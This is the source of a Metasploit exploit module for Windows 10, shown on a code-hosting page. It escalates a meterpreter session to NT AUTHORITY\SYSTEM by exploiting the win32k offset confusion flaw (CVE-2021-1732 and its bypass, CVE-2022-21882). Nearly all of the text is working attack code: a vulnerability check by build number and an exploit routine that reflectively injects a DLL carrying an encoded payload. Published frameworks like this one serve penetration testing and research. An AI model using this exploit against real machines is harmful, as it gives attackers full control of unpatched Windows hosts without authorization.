Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/cve_2022_21882_win32k.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = AverageRanking78include Msf::Post::File9include Msf::Post::Windows::Priv10include Msf::Post::Windows::Process11include Msf::Post::Windows::ReflectiveDLLInjection12prepend Msf::Exploit::Remote::AutoCheck1314include Msf::Exploit::Deprecated15moved_from 'exploit/windows/local/cve_2021_1732_win32k'1617def initialize(info = {})18super(19update_info(20info,21{22'Name' => 'Win32k ConsoleControl Offset Confusion',23'Description' => %q{24A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of25NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being26treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to27achieve an out of bounds write operation, eventually leading to privilege escalation.2829This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021.30In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is31is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to32function on a wider range of Windows 10 targets.33},34'License' => MSF_LICENSE,35'Author' => [36# CVE-2021-173237'BITTER APT', # exploit as used in the wild38'JinQuan', # detailed analysis39'MaDongZe', # detailed analysis40'TuXiaoYi', # detailed analysis41'LiHao', # detailed analysis42# CVE-2022-2188243'L4ys', # github poc44# both CVEs45'KaLendsi', # github pocs46# Metasploit exploit47'Spencer McIntyre' # metasploit module48],49'Arch' => [ ARCH_X64 ],50'Platform' => 'win',51'SessionTypes' => [ 'meterpreter' ],52'DefaultOptions' => {53'EXITFUNC' => 'thread'54},55'Targets' => [56[ 'Windows 10 v1803-21H2 x64', { 'Arch' => ARCH_X64 } ]57],58'Payload' => {59'DisableNops' => true60},61'References' => [62# CVE-2021-1732 references63[ 'CVE', '2021-1732' ],64[ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ],65[ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ],66[ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ],67[ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ],68# the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit69[ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ],70[ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ],71[ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ],72[ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ],73# CVE-2022-21882 references74[ 'CVE', '2022-21882' ],75[ 'URL', 'https://github.com/L4ys/CVE-2022-21882' ],76[ 'URL', 'https://github.com/KaLendsi/CVE-2022-21882' ]77],78'DisclosureDate' => '2021-02-09', # CVE-2021-1732 disclosure date79'DefaultTarget' => 0,80'Notes' => {81'Stability' => [ CRASH_OS_RESTARTS, ],82'Reliability' => [ REPEATABLE_SESSION, ],83'SideEffects' => []84}85}86)87)88end8990def check91if session.platform != 'windows'92# Non-Windows systems are definitely not affected.93return Exploit::CheckCode::Safe94end9596version = get_version_info97vprint_status("Windows Build Number = #{version.product_name}")98if version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_21H2)99CheckCode::Appears100elsif version.build_number == Msf::WindowsVersion::Server2022 || version.build_number == Msf::WindowsVersion::Win11_21H2101CheckCode::Detected("May be vulnerable, but exploit not tested on #{version.product_name}")102else103print_error('Vulnerability only present on Windows 10 versions 1803 - 21H2, Windows 11 21H2, Server 2019 and Server 2022')104return CheckCode::Safe105end106end107108def exploit109if is_system?110fail_with(Failure::None, 'Session is already elevated')111end112113if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86114fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')115elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86116fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')117elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64118fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')119end120121encoded_payload = payload.encoded122execute_dll(123::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-21882', 'CVE-2022-21882.x64.dll'),124[encoded_payload.length].pack('I<') + encoded_payload125)126127print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')128end129end130131132